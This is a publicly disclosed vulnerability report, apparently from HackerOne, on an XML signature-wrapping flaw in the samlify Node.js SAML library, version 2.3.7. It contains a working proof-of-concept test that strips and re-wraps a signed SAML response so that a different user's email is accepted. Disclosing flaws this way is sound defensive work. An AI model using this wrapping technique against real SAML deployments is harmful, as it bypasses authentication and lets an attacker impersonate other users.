HexBrain

Node.js third-party modules · Report #356284

Samlify is vulnerable to signature wrapping

Validstatus
highseverity
7upvotes
23 Oct 2018disclosed

How it was found

I would like to report a signature wrapping weakness in samlify It allows an attacker to modify a SAML token received from the IdP before validating it with the service provider

Module

module name: samlify version: 2.3.7 npm page: https://www.npmjs.com/package/samlify

Module Description

Highly configuarable Node.js SAML 2.0 library for Single Sign On

Module Stats

Replace stats below with numbers from npm’s module page:

1084 downloads in the last week

Vulnerability

Vulnerability Description

It's possible to wrap the signature of a SAML response, and insert a new username in the original token, thus make it appear as though a different user was authenticated.

Steps To Reproduce:

Clone the github repo, put this in test/flow.ts and run npm run test:


test('should reject signature wrapped response', async t => {
  // sender (caution: only use metadata and public key when declare pair-up in oppoent entity)
  const user = { email: '[email protected]' };
  const { id, context: SAMLResponse } = await idpNoEncrypt.createLoginResponse(sp, sampleRequestInfo, 'post', user, createTemplateCallback(idpNoEncrypt, sp, user));
  // receiver (caution: only use metadata and public key when declare pair-up in oppoent entity)

  //Decode
  var buffer = new Buffer(SAMLResponse, "base64");
  var xml = buffer.toString();
  //Create version of response without signature
  var stripped = xml
    .replace(/<ds:Signature[\s\S]*ds:Signature>/, "");
  //Create version of response with altered IDs and new username
  var outer = xml
    .replace(/assertion" ID="_[0-9a-f]{3}/g, 'assertion" ID="_000')
    .replace("[email protected]", "[email protected]");
  //Put stripped version under SubjectConfirmationData of modified version
  var xmlWrapped = outer.replace(/<saml:SubjectConfirmationData[^>]*\/>/, "<saml:SubjectConfirmationData>" + stripped.replace('<?xml version="1.0" encoding="UTF-8"?>', "") + "</saml:SubjectConfirmationData>");
  const wrappedResponse = new Buffer(xmlWrapped).toString("base64");

  const { samlContent, extract } = await sp.parseLoginResponse(idpNoEncrypt, 'post', { body: { SAMLResponse: wrappedResponse } });
  //should probalby be like this -> const error = await t.throws(sp.parseLoginResponse(idpNoEncrypt, 'post', { body: { SAMLResponse: wrappedResponse } }));
  //This tampering goes undetected....and only fails because there are now two names
  t.is(extract.nameid, '[email protected]');
});

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

  • Ubuntu 16.04
  • v7.4.0
  • 6.0.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

I will try to contact the maintainer. I did not want to open an issue as that would make it obvious what the problem was.

Impact

Authentication bypass

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original